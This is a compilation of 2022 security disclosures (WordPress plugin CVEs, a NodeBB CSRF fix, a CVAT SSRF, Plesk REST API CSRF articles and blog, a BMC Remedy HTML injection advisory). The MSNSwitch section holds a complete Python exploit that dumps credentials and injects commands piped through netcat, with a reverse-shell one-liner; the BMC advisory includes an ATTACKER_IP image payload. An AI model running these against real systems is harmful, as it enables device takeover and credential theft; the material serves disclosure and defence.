The Webmaster Tools Verification WordPress plugin through 1.2 does not have authorisation and CSRF checks when disabling plugins, allowing unauthenticated users to disable arbitrary plugins

CVE-2022-3538

The OAuth Client by DigitialPixies WordPress plugin through 1.1.0 does not have CSRF checks in some places, which could allow attackers to make logged-in users perform unwanted actions.

CVE-2022-3632

The reSmush.it : the only free Image Optimizer & compress plugin WordPress plugin before 0.4.4 does not perform CSRF checks for any of its AJAX actions, allowing an attackers to trick logged in users to perform various actions on their behalf on the site.

CVE-2022-2449

A vulnerability, which was classified as problematic, was found in NodeBB up to 2.5.7. This affects an unknown part of the file /register/abort. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. Upgrading to version 2.5.8 is able to address this issue. The name of the patch is 2f9d8c350e54543f608d3d4c8e1a49bbb6cdea38. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-213555.

Release build (patch) of NodeBB @ 2022-11-09T18:46:09.127Z

**v2.5.8 (2022-11-09)****Chores**

*   really fix indents this time (c2024f3)
*   fix indents (d50512e)
*   add bootstrap5 to test runner for now (be5d6d2)
*   incrementing version number - v2.5.7 (5836bf4)
*   update changelog for v2.5.7 (17e948a)
*   incrementing version number - v2.5.6 (c7bd7db)
*   incrementing version number - v2.5.5 (3509ed9)
*   incrementing version number - v2.5.4 (e83260c)
*   incrementing version number - v2.5.3 (7e92293)
*   incrementing version number - v2.5.2 (babcd17)
*   incrementing version number - v2.5.1 (ce3aa95)
*   incrementing version number - v2.5.0 (01d276c)
*   incrementing version number - v2.4.5 (dd3e1a2)
*   incrementing version number - v2.4.4 (d5525c8)
*   incrementing version number - v2.4.3 (9c647c6)
*   incrementing version number - v2.4.2 (3aa7b85)
*   incrementing version number - v2.4.1 (60cbd14)
*   incrementing version number - v2.4.0 (4834cde)
*   incrementing version number - v2.3.1 (d242594)
*   incrementing version number - v2.3.0 (046ea12)

**New Features**

*   new search hooks (b5d38bc)
*   add search data to filter:search.inContent (e3f2156)

**Bug Fixes**

*   pass csrf\_token into calls to /register/abort, #11017 (2f9d8c3)
*   check for csrf token on /register/abort, + theme changes for v2.x branches of themes (55a197a)
*   upgrade script to work from 0.x to 2.x (a31ba82)
*   #10519, image height in emails (673261f)
*   fallback language strings for #10987 (b9c8c02)
*   #10993, apply autoLocale middleware to guests only (6f673f8)
*   check cid as well as template (9227b82)
*   revert breaking change, add back SocketUser.emailConfirm (9ee30fe)
*   in appropriately named language key email-confirm-email2 (09f3ac6)
*   correctly pass dev flag to package installer (7672194)
*   use --omit=dev flag for npm instead of --production (09cfd0b)

**Refactors**

*   use utils.debounce (d264c6a)

**Tests**

*   fix tests again (06d1539)
*   fix test (c833d3c)

CVE-2022-3978: Release v2.5.8 · NodeBB/NodeBB

MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.

    Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)Google Dork: n/aDate:9/1/2022Exploit Author: Eli FulkersonVendor Homepage: https://www.msnswitch.com/Version: MNT.2408Tested on: MNT.2408 firmwareCVE: CVE-2022-32429#!/usr/bin/python3"""POC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.Configuration dump only requires HTTP access.Full RCE requires you to be on the same subnet as the device.""" import requestsimport sysimport urllib.parseimport readlineimport randomimport string# listen with "ncat -lk {LISTENER_PORT}" on LISTENER_HOSTLISTENER_HOST = "192.168.EDIT.ME"LISTENER_PORT = 3434# target msnswitchTARGET="192.168.EDIT.ME2"PORT=80USERNAME = NonePASSWORD = None"""First vulnerability, unauthenticated configuration/credential dump"""if USERNAME == None or PASSWORD == None:  # lets just ask  hack_url=f"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh"  session = requests.session()  data = session.get(hack_url)  for each in data.text.split('\n'):    key = None    val = None    try:      key = each.strip().split('=')[0]      val = each.strip().split('=')[1]    except:      pass    if key == "Account1":      USERNAME = val    if key == "Password1":      PASSWORD = val"""Second vulnerability, authenticated command executionThis only works on the local lan.for full reverse shell, modify and upload netcat busybox shell script to /tmp:  shell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f  download to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmpref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox"""session = requests.session()# initial login, establishes our Cookieburp0_url = f"http://{TARGET}:{PORT}/goform/login"burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{TARGET}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.120.17/login.asp", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}burp0_data = {"login": "1", "user": USERNAME, "password": PASSWORD}session.post(burp0_url, headers=burp0_headers, data=burp0_data)# get our csrftokenburp0_url = f"http://{TARGET}:{PORT}/saveUpgrade.asp"data = session.get(burp0_url)csrftoken = data.text.split("?csrftoken=")[1].split("\"")[0]while True:  CMD = input('x:')  CMD_u = urllib.parse.quote_plus(CMD)  filename = ''.join(random.choice(string.ascii_letters) for _ in range(25))  try:    hack_url = f"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}"    session.get(hack_url, timeout=0.01)  except requests.exceptions.ReadTimeout:    pass

MSNSwitch Firmware MNT.2408 Remote Code Execution

CVAT version 2.0 suffers from a server-side request forgery vulnerability.

    #Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)#Exploit Author: Emir Polat#Vendor Homepage: https://github.com/opencv/cvat#Version: < 2.0.0#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)#CVE: CVE-2022-31188# Description:#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. #Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.POST /api/v1/tasks/2/data HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0Accept: application/json, text/plain, */*Accept-Language:en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Token 06d88f739a10c7533991d8010761df721b790b7X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGVContent-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436Content-Length: 569Origin: http://localhost:8080Connection: closeReferer:http://localhost:8080/tasks/createCookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dnedSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="remote files[0]"http://localhost:8081-----------------------------251652214142138553464236533436Content-Disposition: form-data; name=" image quality"170-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use zip chunks"true-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use cache"true-----------------------------251652214142138553464236533436--

CVAT 2.0 Server-Side Request Forgery

Bugs in programming interfaces of web hosting admin tool patched

Bugs in programming interfaces of web hosting admin tool patched

The REST API of Plesk was vulnerable to client-side request forgery (CSRF), which could lead to multiple potential attacks, including malicious file upload and the takeover of the server.

Plesk is a very popular administration tool for web hosting and data center providers. Users usually use its web interface to administer their websites and file servers. This interface has been exhaustively tested and patched against security holes.

However, according to the findings of Adrian Tiron, a security researcher at Fortbridge, the REST API that allows third-party programs access to Plesk’s functionality was not as sturdy as its web user interface counterpart.

**Client-side request forgery**

While investigating Plesk during a project for one of his clients, Tiron discovered that when the REST API is called from the browser of a logged-in administrator, there are no defences against CSRF. This shortcoming meant that if an attacker lures the Plesk admin to visit a malicious page, they could stage cookieless CSRF attacks against the server.

Catch up with the latest security research news and analysis

Several API endpoints could be attacked through the cookieless CSRF exploit. The most interesting, said Tiron, was an endpoint that supported different commands, including changing the administrator’s password. Using this endpoint, the researcher was able to hijack the admin user account and gain full control of the host.

“Admin access in Plesk is very powerful. It’s identical to having root \[access\] because Plesk is used to fully manage hosts via the web interface,” Tiron told The Daily Swig.

**Other minor bugs**

Other endpoints could be exploited through other CSRF attacks, including exploits that allowed the creation of MySQL and FTP users on the Plesk server.

Since the MySQL port is blocked externally by default, adding a database user would have a limited impact.

“However, if \[MySQL\] is misconfigured, it can give RCE \[remote code execution\] on the server as a limited user – we estimate this would be a rare scenario,” Tiron said.

The FTP user would give the attacker “RCE as a limited user (at least) because the attacker can upload a web shell,” he added.

**What went wrong?**

Plesk’s web interface uses the Authorization header, which prevents unauthenticated access to the pages of the administration tool. Once a user enters their credentials, the browser automatically adds appropriate headers to the requests, enabling the server to distinguish authenticated users.

Authorization headers also prevented random unauthenticated access to the REST API endpoints. But all this can potentially be circumvented through HTML-based CSRF attacks.

“The developers probably thought that they’re protected against the CSRF because they’re using the Authorization header,” Tiron said. “While this is true for requests created with XHR (the attacker would need to know this header to add it to the request), this is not true if you're using HTML forms – in this case, the browser attaches the Authorization header automatically, by design.”

Plesk has patched the bug. According to the company, 98.4% of Plesk servers have been automatically updated and were therefore not impacted.

Tiron recommended that developers make sure that all POST requests that change the server state implement CSRF mitigation using either the synchronizer token pattern or the double submit cookie pattern. “Based on our experience we recommend the first,” Tiron concluded.

RELATED Prototype pollution bug exposed Ember.js applications to XSS

CSRF in Plesk API enabled server takeover

Ben Dickson 11 November 2022 at 11:31 UTC

Bugs in programming interfaces of web hosting admin tool patched

The REST API of Plesk was vulnerable to client-side request forgery (CSRF), which could lead to multiple potential attacks, including malicious file upload and privilege escalation.

Plesk is a very popular administration tool for web hosting and data center providers. Users usually use its web interface to administer their websites and file servers. This interface has been exhaustively tested and patched against security holes.

However, according to the findings of Adrian Tiron, a security researcher at Fortbridge, the REST API that allows third-party programs access to Plesk’s functionality was not as sturdy as its web user interface counterpart.

**Client-side request forgery**

While investigating Plesk during a project for one of his clients, Tiron discovered that when the REST API is called from the browser of a logged-in administrator, there are no defences against CSRF. This shortcoming meant that if an attacker lures the Plesk admin to visit a malicious page, they could stage cookieless CSRF attacks against the server.

Catch up with the latest security research news and analysis

Several API endpoints could be attacked through the cookieless CSRF exploit. The most interesting, said Tiron, was an endpoint that supported different commands, including changing the administrator’s password. Using this endpoint, the researcher was able to hijack the admin user account and gain full control of the host.

“Admin access in Plesk is very powerful. It’s identical to having root \[access\] because Plesk is used to fully manage hosts via the web interface,” Tiron told The Daily Swig.

**Other minor bugs**

Other endpoints could be exploited through other CSRF attacks, including exploits that allowed the creation of MySQL and FTP users on the Plesk server.

Since the MySQL port is blocked externally by default, adding a database user would have a limited impact.

“However, if \[MySQL\] is misconfigured, it can give RCE \[remote code execution\] on the server as a limited user – we estimate this would be a rare scenario,” Tiron said.

The FTP user would give the attacker “RCE as a limited user (at least) because the attacker can upload a web shell,” he added.

**What went wrong?**

Plesk’s web interface uses the Authorization header, which prevents unauthenticated access to the pages of the administration tool. Once a user enters their credentials, the browser automatically adds appropriate headers to the requests, enabling the server to distinguish authenticated users.

Authorization headers also prevented random unauthenticated access to the REST API endpoints. But all this can potentially be circumvented through HTML-based CSRF attacks.

“The developers probably thought that they’re protected against the CSRF because they’re using the Authorization header,” Tiron said. “While this is true for requests created with XHR (the attacker would need to know this header to add it to the request), this is not true if you're using HTML forms – in this case, the browser attaches the Authorization header automatically, by design.”

Plesk has patched the bug. According to the company, 98.4% of Plesk servers have been automatically updated and were therefore not impacted.

Tiron recommended that developers make sure that all POST requests that change the server state implement CSRF mitigation using either the synchronizer token pattern or the double submit cookie pattern. “Based on our experience we recommend the first,” Tiron concluded.

RELATED Prototype pollution bug exposed Ember.js applications to XSS

CSRF in Plesk API enabled privilege escalation

An issue was discovered in BMC Remedy before 22.1. Email-based Incident Forwarding allows remote authenticated users to inject HTML (such as an SSRF payload) into the Activity Log by placing it in the To: field. This affects rendering that occurs upon a click in the "number of recipients" field. NOTE: the vendor's position is that "no real impact is demonstrated."

The application BMC Remedy allows users to forward incidents via mail from the web interface. It is possible to inject HTML into the "To" field of the mail editor. Afterwards the application shows in the activity log that the incident was forwarded to <X> recipients. By clicking on the number of recipients the injected HTML is loaded and executed.

**Vendor description**

_"Remedy IT Service Management Suite (Remedy ITSM Suite) and BMC Helix ITSM service provide out of-the-box IT Information Library (ITIL) service support functionality. Remedy ITSM Suite and BMC Helix ITSM service streamline and automate the processes around IT service desk, asset management, and change management operations. It also enables you to link your business services to your IT infrastructure to help you manage the impact of technology changes on business and business changes on technology — in real time and into the future. In addition, you can understand and optimize the user experience, balance current and future infrastructure investments, and view potential impact on the business by using a real-time service model."_

Source: https://docs.bmc.com/docs/itsm91/home-608490971.html

**Business recommendation**

The vendor provides an updated version which should be installed immediately.

The vendor states that:

1.  We have done hardening in version 22.1.
2.  However, we do not agree with assigning the CVE to this vulnerability.
3.  As mentioned previously this is an informative vulnerability, and no real impact is demonstrated.

Nevertheless, this can be used to trigger actions on internal services via CSRF or exfiltrate information.

**Vulnerability overview/description****1) HTML Injection (CVE-2022-26088)**

An authenticated attacker who can forward incidents per email is able to inject a limited set of HTML tags. This is accomplished by inserting arbitrary content into the "To:" field of the email. There is a filtering mechanism that prevents the injection of many HTML tags, for example <script>, and it also removes event handlers. An attacker is able to insert an image tag with an arbitrary src URL.

After sending the email, an entry is appended into the activity log of the incident which states that $USER has sent an email to <X> recipients. Upon clicking on the number <X>, the injected HTML code is loaded and executed.

By inserting an <img> with an arbitrary "src" attribute, an attacker can force the user's browser to make requests to his specified URL. This can be used to trigger actions on internal services via CSRF or exfiltrate information.

**Proof of concept****1) HTML Injection (CVE-2022-26088)**

When an incident is viewed, there is a button which allows forwarding the incident by mail. After entering a TO address and the body of the email, it can be sent by clicking on the send button.

The HTML injection can be performed by intercepting this request and changing the 'Email.To.InternetEmail' parameter. The modified request is:

    PUT /rest/incident/worknote/SOME_INCIDENT_ID HTTP/1.1
    Host: TARGET
    Cookie: […]
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/json;charset=utf-8
    X-Xsrf-Token: SOME_TOKEN
    Content-Length: ADAPT_AS_NEEDED
    Te: trailers
    Connection: close
    
    {
      "worknote": "pentest",
      "access": true,
      "Email.From.Person": {
        "email": "SOME_SENDING_MAIL",
        "fullName": "Pentest - SEC Consult",
        "loginId": "USERNAME"
      },
      "Email.Subject": "SOME_SUBJECT",
      "Email.Body": "test2",
      "Email.To.InternetEmail": "<img src=http: //ATTACKER_IP:8001/>a@example.test",
      "workInfoType": 16000
    }

The parameter Email.To.InternetEmail contains the payload. In this case an image tag containing the IP of the attacker was inserted:

    "<img src=http: //LOCAL_IP:8001/>a@example.test"

The a@example.test is needed to pass the email validation step and example.test was used to prevent sending out real emails. After this step, the information that $USER has sent an email to 1 recipient will be appended in the activity log of this incident.

Now we start a local netcat listener with the command:

    $ nc -vnlp 8001

Now we click on the number '1' in the activity log and see that the browser issues a request to our 'netcat' instance. This confirms that the browser tries to load the image from the specified URL.

**Vulnerable / tested versions**

The following version has been tested:

*   9.1.10 this corresponds to version 20.02 as stated at the following URL https://community.bmc.com/s/news/aA33n000000CmmSCAS/remedy-version-mapping 

**Vendor contact timeline**

**Solution**

Upgrade to version 22.1 or later which can be downloaded at the vendor's page:

https://www.bmc.com/support/resources/product-downloads.html

**Workaround**

None

**Advisory URL**

https://sec-consult.com/vulnerability-lab/

EOF Daniel Hirschberger / @2022

_Interested to work with the experts of SEC Consult? Send us your application_

_Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices_

CVE-2022-26088: HTML Injection in BMC Remedy ITSM-Suite

Plesk Obsidian allows a CSRF attack, e.g., via the /api/v2/cli/commands REST API to change an Admin password. NOTE: Obsidian is a specific version of the Plesk product: version numbers were used through version 12, and then the convention was changed so that versions are identified by names ("Obsidian"), not numbers.

Plesk Dashboard

**INTRO**

Plesk is a commercial web hosting and server data center automation software developed for Linux and Windows-based retail hosting service providers. It’s the main choice of web hosting providers these days being used by 86.7% of the websites that use a web panel for administration. This is 4.4% of all websites and there around 2M Plesk installations in the US alone. As expected there are many interesting features to attack as an administrator, however we couldn’t find anything really exploitable and also it isn’t that interesting to begin with, if you’re already an administrator, right? We tried to see if we can escalate our privileges from one of the limited roles, but these seem solid. In the end we discovered a cookieless CSRF, which is basically a design issue in this case, because it affects all the POST requests and we could abuse most of the APIs with it.

Generally speaking, it’s obvious that Plesk has been through quite a few pentests and overall has a good security posture. The last thing we wanted to focus our attention on was the REST API. We were wondering, has the REST API the same level of security as the other Plesk components? Also we need to mention that the source code Plesk is highly obfuscated with a custom PHP extension.

**Misconfigured CORS policy**

While reviewing the REST API, we quickly noticed that there was a completely open CORS policy:

Using a wildcard to allow everything

So, we thought, wow this is definitely a good sign and we were on the right track testing the REST API. This will basically allow us to send any request with any methods/headers from any origin and read the response back. Or so we thought.

**Cookieless CSRF #1 – add secret token**

The administrator can call the REST APIs from the browser and there’s no CSRF protection either (partially correct as you will see next). Let’s try to CSRF an Administrator then. But what API endpoint shall we target? After reviewing the REST API, we discovered that there is the /api/v2/auth/keys endpoint which we thought of abusing by adding a secret key to give us admin access.

API endpoint to add a secret key for Administrator

This key will allow us to authenticate and call any endpoints after that, no more CSRF needed 🙂 Perform CSRF once, add a backdoor token and get full access forever. Sweet, let’s try this.

CSRF first attempt failed

We have used Burp’s CSRF POC generator and it seems that the request fails due to “=” added at the end, the server can’t parse this JSON. This was no big issue, this old dog knows some old tricks and by reformatting our payload a bit we were able to generate a valid JSON.

Name field of the input will hold most of the JSON field

The input’s name is html encoded and basically decodes to the following. The input’s value field will hold ‘test”}’ so that when it’s concatenated with the name it will result in a valid JSON payload. Nothing new here.

Name field html decoded

Now we were able to create a valid CSRF payload and generate a secret key as you can see bellow. We also have a miconsfigured CORS policy, so we can steal it, right?

CSRF attack on the Administrator

Well, not really. What we’ve missed initially is that the Authorization header gets added automatically by the browser when using an html form to perform the CSRF attack using the POST method. However, when using the javascript XHR object to create the same request and get the token from the response, the Authorization header isn’t added anymore. Bummer, our CSRF fails in this case as we can’t read the key! But wait, there’s still some hope left. Maybe we can find some other REST endpoints where we can trigger a CSRF attack using HTML forms (POST based) that will be impactful enough to give an attacker what they need without reading the response. And we sure found quite a few of these endpoints that we’ve exploited with various degree of severity as you’ll see next.

**Cookieless CSRF #2 – add DB user**

We found a REST endpoint that allows us to add a db user which can connect from ANY remote host to ANY database.

Add DB user (CSRF-able)

Result looks like bellow:

DB user added

We thought of injecting an UDF for a quick RCE, however the mysql port is not accessible. Lesson learned, check the port first.

Mysql port filtered

**Cookieless CSRF #3 – add FTP user**

We managed to add a new FTP user with access to any existing domain we wanted.

Add FTP user (CSRF-able)

This actually worked, you can connect via FTP, inspect the client’s home dir and conduct further attacks from there.

FTP connect OK

**Cookieless CSRF #3 – add a malicious Plesk extension**

We didn’t know what Plesk extensions were initially, so we did some quick research, backdoored an existing one and added it via CSRF upload using the REST API

Plesk malicious extension added via CSRF in the REST API

The problem was that you still need to authenticate in Plesk to access the backdoored extension. Certainly there must be an easier way, right?

**Cookieless CSRF #4 – compromise the admin**

Plesk implements some custom commands internally (a “command” is an abrastraction layer if you will in the code which calls various cli tools to do the heavy lifting) in order to manage the server as you can see bellow. One of these, is the “admin” command that allows you to do multiple things, including changing the Administrator’s password.

Plesk custom commands callable via REST API

And that is exactly what we needed. We ended up compromising Plesk via its REST API (CSRF) and change the Admin’s password. Game over!

CSRF-ing the Administrator to change his password.

The documentation around this feature isn’t great so it took a while to figure out the above payload. All POST requests can be CSRF-ed , because the browser adds the Authorization header automatically when using html forms. We noticed that there is a common misconception that an application using the Authorization header is protected against CSRF. As long as you don’t have to read the response back using javascript everything just works.

**Timeline**

10/05/22 FORTBRIDGE reaches out to PLESK for vuln disclosure

11/05/22 Plesk confirms receipt and starts investigation

19/05/22 Plesk confirms the vulnerability and starts working on a fix, no ETA offered

03/06/22 Plesk fixes the issue, but requests _delaying_ the disclosure, FORTBRIDGE accepts

25/07/22 FORTBRIDGE requests update on the patching progress

27/07/22 Plesk requests _delaying_ the disclosure again, FORTBRIDGE accepts

03/08/22 Plesk estimates “no longer than 2 weeks” for disclosure

16/09/22 FORTBRIDGE requests update

16/09/22 Plesk requests _delaying_ the disclosure, FORTBRIDGE agrees to delay 2 months max

08/11/22 FORTBRIDGE releases blogpost with technical details of the Plesk Admin takeover issue

**References**

RCE & Privesc in cPanel/WHM

Mass account takeover in Yunmai smartscale by abusing the REST API

CSRF POCs sent to Plesk

**About Post Author**

Tag

#csrf